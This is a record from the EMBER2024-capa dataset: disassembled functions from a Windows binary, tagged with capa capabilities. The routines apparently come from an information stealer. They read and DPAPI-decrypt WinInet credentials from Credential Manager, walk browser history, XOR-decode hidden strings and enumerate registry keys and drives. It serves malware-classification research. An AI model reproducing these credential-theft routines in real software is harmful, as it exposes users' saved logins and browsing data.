joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426a28
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
mov edi, ecx
call fcn.00425a54
mov cl, byte [edi]
movzx eax, cl
sub eax, 1
je 0x426ae8
sub eax, 1
je 0x426a95
sub eax, 1
je 0x426a6c
sub eax, 1
je 0x426a6c
sub eax, 1
je 0x426a6c
sub eax, 1
je 0x426a6c
sub eax, 1
jne 0x426b15
cmp cl, 3
jne 0x426a89
mov ecx, dword [edi + 8]
call fcn.00413e0b
push 0x18
push dword [edi + 8]
call fcn.00415164
and dword [edi + 8], 0
pop ecx
pop ecx
mov ecx, edi
mov byte [edi], 0
call fcn.0042281f
jmp 0x426b0c
mov esi, dword [edi + 8]
mov ecx, dword [ebp + 0x14]
add esi, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], esi
mov edi, dword [esi]
lea eax, [ecx + 0x10]
cmp eax, edi
je 0x426ad5
mov esi, ecx
mov ebx, eax
sub esp, 0x10
mov ecx, esp
push ebx
call fcn.00422799
mov ecx, esi
call fcn.00422f5f
add ebx, 0x10
add esi, 0x10
cmp ebx, edi
jne 0x426ab1
mov esi, dword [ebp - 8]
mov ebx, dword [ebp + 8]
mov edi, dword [esi]
lea ecx, [edi - 0x10]
call fcn.0042242b
add dword [esi], 0xfffffff0
mov eax, dword [ebp - 0xc]
mov dword [ebx + 8], eax
jmp 0x426b0c
mov esi, dword [ebp + 0x10]
lea ecx, [ebp + 8]
mov dword [ebp + 8], esi
call fcn.0042308d
mov ecx, dword [edi + 8]
push esi
call fcn.0042826c
mov edx, eax
call fcn.0042851f
mov ecx, dword [ebp + 8]
mov dword [ebx + 4], ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x14
push 0x1d50
call fcn.00447587
int3
Function at 0x428967
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x46a65f
call fcn.00468300
sub esp, 0xcc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
mov esi, edx
mov dword [ebp - 0x14], ecx
push esi
call ebx
test eax, eax
je 0x428b09
push dword [ebp + 8]
call ebx
test eax, eax
je 0x428b09
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCmpNW]
mov edi, esi
push 7
push str.DPAPI:
push esi
call ebx
test eax, eax
jne 0x4289b6
lea edi, [esi + 0xe]
push 0x12
push 0x47ca34
push esi
call ebx
test eax, eax
jne 0x4289c7
add edi, 0x24
push 6
push str.ftp:__
push edi
call ebx
test eax, eax
jne 0x428b09
mov ebx, dword [ebp - 0x14]
lea edx, [ebp - 0xe]
mov cl, 0x3e
mov byte [ebp - 0xd], 0
mov al, 0x34
mov byte [ebp - 0xf], cl
xor al, cl
mov byte [ebp - 0xd], 0
push 1
mov ecx, ebx
mov byte [ebp - 0xe], al
call fcn.00435da6
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
pop ecx
push edi
call esi
push eax
mov edx, edi
mov ecx, ebx
call fcn.00435ce9
pop ecx
mov cl, 0xe
mov byte [ebp - 0xd], 0
mov al, 4
mov byte [ebp - 0xf], cl
xor al, cl
mov byte [ebp - 0xd], 0
push 1
lea edx, [ebp - 0xe]
mov byte [ebp - 0xe], al
mov ecx, ebx
call fcn.00435da6
pop ecx
push dword [ebp + 8]
call esi
mov edx, dword [ebp + 8]
mov ecx, ebx
push eax
call fcn.00435ce9
lea ecx, [ebp - 0xd8]
call fcn.004124bc
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ecx, ebx
movaps xmm0, xmmword [0x47dfe0]
movups xmmword [ebp - 0x25], xmm0
mov byte [ebp - 0x15], bl
mov al, byte [ebp - 0x25]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xf
jb 0x428a62
mov byte [ebp - 0x15], bl
call fcn.00435f38
push ecx
push 0xa
lea edx, [ebp - 0x24]
mov ecx, eax
call fcn.00435a97
push eax
lea ecx, [ebp - 0xd8]
call fcn.0041242f
mov ecx, edi
call fcn.00435e2d
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.00414875
mov cl, 0x19
mov byte [ebp - 0xd], bl
mov al, 0x13
mov byte [ebp - 0xf], cl
xor al, cl
lea edx, [ebp - 0xe]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0xe], al
call fcn.00414875
mov ecx, dword [ebp + 8]
call fcn.00435e2d
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.00414875
mov cl, 0x44
mov byte [ebp - 0x11], bl
mov al, 0x4e
mov byte [ebp - 0x13], cl
xor al, cl
lea edx, [ebp - 0x12]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0x12], al
call fcn.00414875
lea ecx, [ebp - 0xd8]
call fcn.00412409
lea ecx, [ebp - 0xd8]
call fcn.0041143f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x428b18
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x46a686
call fcn.00468300
sub esp, 0x194
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edx - 1]
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.004124bc
and dword [ebp - 4], 0
mov ebx, 0x479c6b
sub esi, 3
je 0x428bf7
sub esi, 1
je 0x428be4
sub esi, 1
jne 0x428d2c
mov ecx, dword [ebp + 0x14]
call fcn.00435e2d
mov ecx, dword [ebp + 0xc]
mov edi, eax
call fcn.00435e2d
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00435e2d
push edi
mov edx, esi
mov ecx, eax
call fcn.00436284
movaps xmm0, xmmword [0x47e310]
mov esi, eax
movups xmmword [ebp - 0x3c], xmm0
pop ecx
movaps xmm0, xmmword [0x47def0]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x1e
jb 0x428ba1
mov edi, 0x48cca8
mov byte [ebp - 0x1d], 0
lea edx, [ebp - 0x3b]
mov ecx, edi
call fcn.00414875
mov edx, 0x488cf0
mov ecx, eax
call fcn.004149fc
mov edx, esi
mov ecx, edi
call fcn.00414875
inc dword [0x48cc70]
push esi
call fcn.0044087f
jmp 0x428bf1
push dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.00428967
pop ecx
jmp 0x428d2c
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 8]
mov esi, dword [ecx]
add eax, esi
mov edx, dword [ecx + 4]
add eax, edx
cmp dword [ebp + 0x10], eax
jb 0x428d2c
mov edi, dword [ecx + 0x14]
lea eax, [ecx + 0x24]
mov dword [ebp - 0x18], eax
lea eax, [esi + edx]
add eax, ecx
shr edi, 1
mov dword [ebp - 0x1c], eax
je 0x428d2c
mov ecx, dword [ebp + 8]
call fcn.00435e2d
mov edx, eax
mov ecx, ebx
call fcn.00435a97
mov dl, 0x5e
mov byte [ebp - 0x11], 0
mov cl, 0x54
mov byte [ebp - 0x13], dl
xor cl, dl
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], cl
lea edx, [ebp - 0x12]
mov ecx, eax
call fcn.00435a97
mov ebx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebx]
add ecx, dword [ebp - 0x1c]
call fcn.00435e2d
mov edx, eax
mov ecx, esi
call fcn.00435a97
add ebx, 0x20
mov dword [ebp - 0x10], 0x3e3e34
mov esi, eax
mov dword [ebp - 0x18], ebx
mov dl, 0x34
xor ecx, ecx
xor byte [ebp + ecx - 0xf], dl
inc ecx
cmp ecx, 2
jae 0x428c91
mov dl, byte [ebp - 0x10]
jmp 0x428c82
lea edx, [ebp - 0xf]
mov byte [ebp - 0xd], 0
mov ecx, esi
call fcn.00435a97
push ecx
lea ecx, [ebp - 0xf0]
mov ebx, eax
call fcn.004124bc
mov byte [ebp - 4], 1
xor edx, edx
movaps xmm0, xmmword [0x47e0f0]
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 0
mov cl, byte [ebp - 0x2d]
xor cl, byte [ebp + edx - 0x2c]
mov byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 0xf
jb 0x428cc2
mov byte [ebp - 0x1d], 0
call fcn.00435f38
push ecx
push 0xa
lea edx, [ebp - 0x2c]
mov ecx, eax
call fcn.00435a97
push eax
lea ecx, [ebp - 0xf0]
call fcn.0041242f
mov edx, ebx
lea ecx, [ebp - 0xf0]
call fcn.00414875
push ebx
call fcn.0044087f
pop ecx
lea ecx, [ebp - 0xf0]
call fcn.00412409
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0
call fcn.0041143f
sub edi, 1
jne 0x428c28
lea ecx, [ebp - 0x1a0]
call fcn.0041143f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x428f19
Capabilities:
Acquire credentials from windows credential manager
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
lea eax, [ebp - 0x70]
push ebx
push esi
push edi
push 0x12
mov ebx, ecx
lea edi, [ebp - 0x70]
pop ecx
mov esi, str.abe2869f_9b47_4cd9_a358_c22904dba7f7
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
call edi
test eax, eax
jle 0x428f56
shl word [ebp + esi*2 - 0x70], 2
lea eax, [ebp - 0x70]
push eax
inc esi
call edi
cmp esi, eax
jl 0x428f45
lea eax, [ebp - 0x70]
mov dword [ebp - 0x18], 0x4a
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push edi
push str.Microsoft_WinInet_
call dword [sym.imp.ADVAPI32.dll_CredEnumerateW]
test eax, eax
je 0x429008
mov eax, dword [ebp - 4]
test eax, eax
je 0x429008
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x429008
dec eax
mov dword [ebp - 4], eax
mov esi, dword [ecx + eax*4]
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
push eax
push 1
push edi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], edi
push eax
push edi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x428fef
cmp dword [ebp - 0xc], edi
je 0x428fef
push edi
push edi
push dword [ebp - 0x10]
mov ecx, ebx
push dword [ebp - 0xc]
push dword [esi + 8]
push 5
pop edx
call fcn.00428b18
add esp, 0x14
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x428ffb
mov ecx, dword [ebp - 8]
jmp 0x428f95
push dword [ebp - 8]
or dword [ebp - 4], 0xffffffff
call dword [sym.imp.ADVAPI32.dll_CredFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42900d
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push 0x46dd50
push 0x15
push ebx
push str._J7_
mov edi, ecx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4290de
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 8]
mov dword [ebp - 8], ebx
push edx
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c]
call eax
test eax, eax
js 0x4290d5
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4290d5
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0x28
jmp 0x4290b3
cmp dword [ebp - 4], 1
jne 0x4290cc
cmp dword [ebp - 0x30], ebx
je 0x4290b0
push 0x47cb6c
push dword [ebp - 0x30]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x42908d
xor ecx, ecx
mov word [eax], cx
mov edx, dword [ebp - 0x30]
mov ecx, edi
push eax
call fcn.00428d46
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0x2c], ebx
je 0x4290b0
push dword [ebp - 0x2c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
push edx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [eax + 0xc]
push 1
push ecx
call eax
test eax, eax
jns 0x42906b
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop ebx
leave
ret
Function at 0x434c56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x11], 0x8087a40b
push edi
mov edi, ecx
mov dword [ebp - 0xd], 0x9791869b
mov al, 0xb
mov dword [ebp - 9], 0x989890da
mov byte [ebp - 5], bl
mov ecx, ebx
not al
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 0xb
jae 0x434c90
mov al, byte [ebp - 0x11]
jmp 0x434c7f
lea eax, [ebp - 0x10]
mov byte [ebp - 5], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x434d0e
movaps xmm0, xmmword [0x47e7a0]
mov ecx, ebx
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0xd5d8d7c2
mov word [ebp - 0x13], 0xd3
mov al, byte [ebp - 0x27]
not al
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x14
jb 0x434cbd
lea eax, [ebp - 0x26]
mov byte [ebp - 0x12], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x434d07
push ebx
push ebx
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
push ecx
call eax
test eax, eax
js 0x434d07
mov edx, dword [ebp - 4]
test edx, edx
je 0x434d07
push ecx
mov ecx, edi
call fcn.00434b59
mov eax, dword [ebp - 4]
pop ecx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4350b4
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00441680
push esi
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
push 0x20019
xor esi, esi
push esi
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x43517e
push ebx
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
mov ebx, esi
push eax
lea eax, [ebp - 0x100c]
push eax
push esi
jmp 0x435160
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.00446ac5
pop ecx
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47d440
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x100c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0xc]
push esi
call fcn.00434d13
push esi
call fcn.00445ce8
pop ecx
pop ecx
inc ebx
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], 0x7ff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4350fc
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop esi
leave
ret

Function at 0x435181
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00441680
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push edi
push eax
push 0x20019
xor edi, edi
mov dword [ebp - 0x10], ecx
push edi
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x435293
push edi
push edi
push edi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x1010]
mov dword [ebp - 4], 0x7ff
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x43528a
push ebx
mov ebx, dword [ebp + 0xc]
test esi, esi
je 0x4351f2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test ebx, ebx
je 0x4351ff
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x435201
xor eax, eax
add eax, edi
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.00446ac5
pop ecx
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47d440
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1010]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test ebx, ebx
je 0x435244
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0x10]
push edi
call fcn.004350b4
push edi
call fcn.00445ce8
mov edi, dword [ebp - 0xc]
xor eax, eax
pop ecx
pop ecx
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x7ff
push eax
lea eax, [ebp - 0x1010]
inc edi
push eax
push edi
push dword [ebp - 8]
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
pop edi
test eax, eax
je 0x4351e5
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
leave
ret
Function at 0x435bf6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
test edi, edi
je 0x435c0f
and dword [edi], 0
mov ebx, dword [ebp + 0x14]
xor esi, esi
cmp ebx, 1
jne 0x435c20
mov eax, 0x200
jmp 0x435c30
xor eax, eax
mov dword [ebp + 0xc], 0x100
cmp ebx, 2
cmove eax, dword [ebp + 0xc]
lea ebx, [ebp + 0xc]
or eax, 0x20019
push ebx
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [ebp + 0x14]
test eax, eax
jne 0x435cc3
lea eax, [ebp + 0x14]
push eax
push 0
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x435cb6
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x435cb6
cmp dword [ebp - 4], 1
jne 0x435c79
cmp eax, 1
je 0x435cb6
add eax, 4
push eax
call fcn.00446ac5
mov esi, eax
pop ecx
test esi, esi
je 0x435cb6
lea eax, [ebp + 0x14]
push eax
push esi
push 0
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x435cad
test edi, edi
je 0x435cb6
mov eax, dword [ebp + 0x14]
mov dword [edi], eax
jmp 0x435cb6
push esi
call fcn.00445ce8
pop ecx
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x435ce2
cmp ebx, 2
jae 0x435ce2
mov edx, dword [ebp - 8]
lea eax, [ebx + 1]
mov ecx, dword [ebp - 0xc]
push eax
push 0
push edi
push dword [ebp + 8]
call fcn.00435bf6
add esp, 0x10
jmp 0x435ce4
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x435f38
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0xb1a7a10b
mov al, 0xb
mov dword [ebp - 9], 0xbba6a4a6
mov dword [ebp - 5], 0xb1b8bdb2
mov ecx, ebx
mov byte [ebp - 1], bl
not al
xor byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 0xb
jae 0x435f71
mov al, byte [ebp - 0xd]
jmp 0x435f60
push 0x104
lea eax, [ebp - 0x120]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movaps xmm0, xmmword [0x47e770]
xor ecx, ecx
cmp ecx, eax
mov dword [ebp - 4], 0xaf849c
lea eax, [ebp - 0x120]
mov edx, ebx
sbb ecx, ecx
and ecx, eax
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
not al
xor byte [ebp + edx - 0x13], al
inc edx
cmp edx, 0x12
jb 0x435fac
lea edx, [ebp - 0x13]
mov byte [ebp - 1], bl
call fcn.00435a97
pop ebx
leave
ret
Function at 0x435fc9
Capabilities:
Get disk information

Disassembly:
mov eax, 0x46b213
call fcn.00468300
sub esp, 0x28
push esi
push edi
mov edi, ecx
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [ebp - 4], eax
push 0x104
mov dword [ebp - 0x18], 1
call fcn.00440b3f
mov esi, eax
mov dword [esp], 0x104
push 0
push esi
mov dword [ebp - 0x14], esi
call fcn.00442300
add esp, 0xc
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ecx, dword [ebp - 0x14]
xor esi, esi
mov al, byte [esi + ecx]
test al, al
je 0x436080
and dword [ebp - 0x34], 0
and dword [ebp - 0x24], 0
mov byte [ebp - 0x10], al
mov al, byte [esi + ecx + 1]
mov byte [ebp - 0xf], al
mov al, byte [esi + ecx + 2]
lea ecx, [ebp - 0x34]
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x10]
push 3
push eax
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.00413313
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 1
push eax
mov ecx, edi
call fcn.0041a37f
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0
call fcn.00413e0b
mov ecx, dword [ebp - 0x14]
add esi, 4
cmp esi, 0x64
jl 0x436026
push ecx
call fcn.0044087f
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4363c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movaps xmm0, xmmword [0x47e9e0]
push ebx
xor ebx, ebx
mov dword [ebp - 4], 0xe9bdd6
push esi
movups xmmword [ebp - 0x14], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x14]
not al
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0x12
jb 0x4363de
mov byte [ebp - 1], bl
call fcn.0043609f
lea edx, [ebp - 0x13]
mov ecx, eax
call fcn.00435a97
mov esi, eax
push esi
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x43641f
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov al, 1
jmp 0x436421
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x438d29
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
mov eax, 0x46b4ab
call fcn.00468300
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
xor eax, eax
mov edx, ebx
inc eax
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x47e830]
movups xmmword [ebp - 0x85], xmm0
mov dword [ebp - 0x24], 0x40
movaps xmm0, xmmword [0x47e7f0]
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0x75], xmm0
mov byte [ebp - 0x65], bl
mov cl, byte [ebp - 0x85]
not cl
xor byte [ebp + edx - 0x84], cl
inc edx
cmp edx, 0x1f
jb 0x438d83
push edi
lea eax, [ebp - 0x20]
mov byte [ebp - 0x65], bl
push eax
push 0x20119
push ebx
lea eax, [ebp - 0x84]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
mov dword [ebp - 0x19], 0xacae8230
mov cl, 0x30
mov dword [ebp - 0x15], 0xaaa1a6a7
mov dword [ebp - 0x11], 0xaba6ba88
mov edx, ebx
mov byte [ebp - 0xd], bl
not cl
xor byte [ebp + edx - 0x18], cl
inc edx
cmp edx, 0xb
jae 0x438de7
mov cl, byte [ebp - 0x19]
jmp 0x438dd6
lea eax, [ebp - 0x24]
mov byte [ebp - 0xd], bl
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test edi, edi
pop edi
jne 0x438e1f
test eax, eax
jne 0x438e1f
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x60]
call fcn.00413e6c
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x48], ebx
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
call fcn.00413ee6
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
push 0x479c6b
mov byte [esi], bl
call fcn.00413e6c
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
cmp byte [eax + ebx], 0
je 0x438e99
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
movsx eax, byte [eax + ebx]
push eax
call fcn.00447000
pop ecx
mov byte [ebp - 0x30], al
mov ecx, esi
push dword [ebp - 0x30]
call fcn.00413e31
inc ebx
jmp 0x438e62
lea ecx, [ebp - 0x48]
call fcn.00413e0b
lea ecx, [ebp - 0x60]
call fcn.00413e0b
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret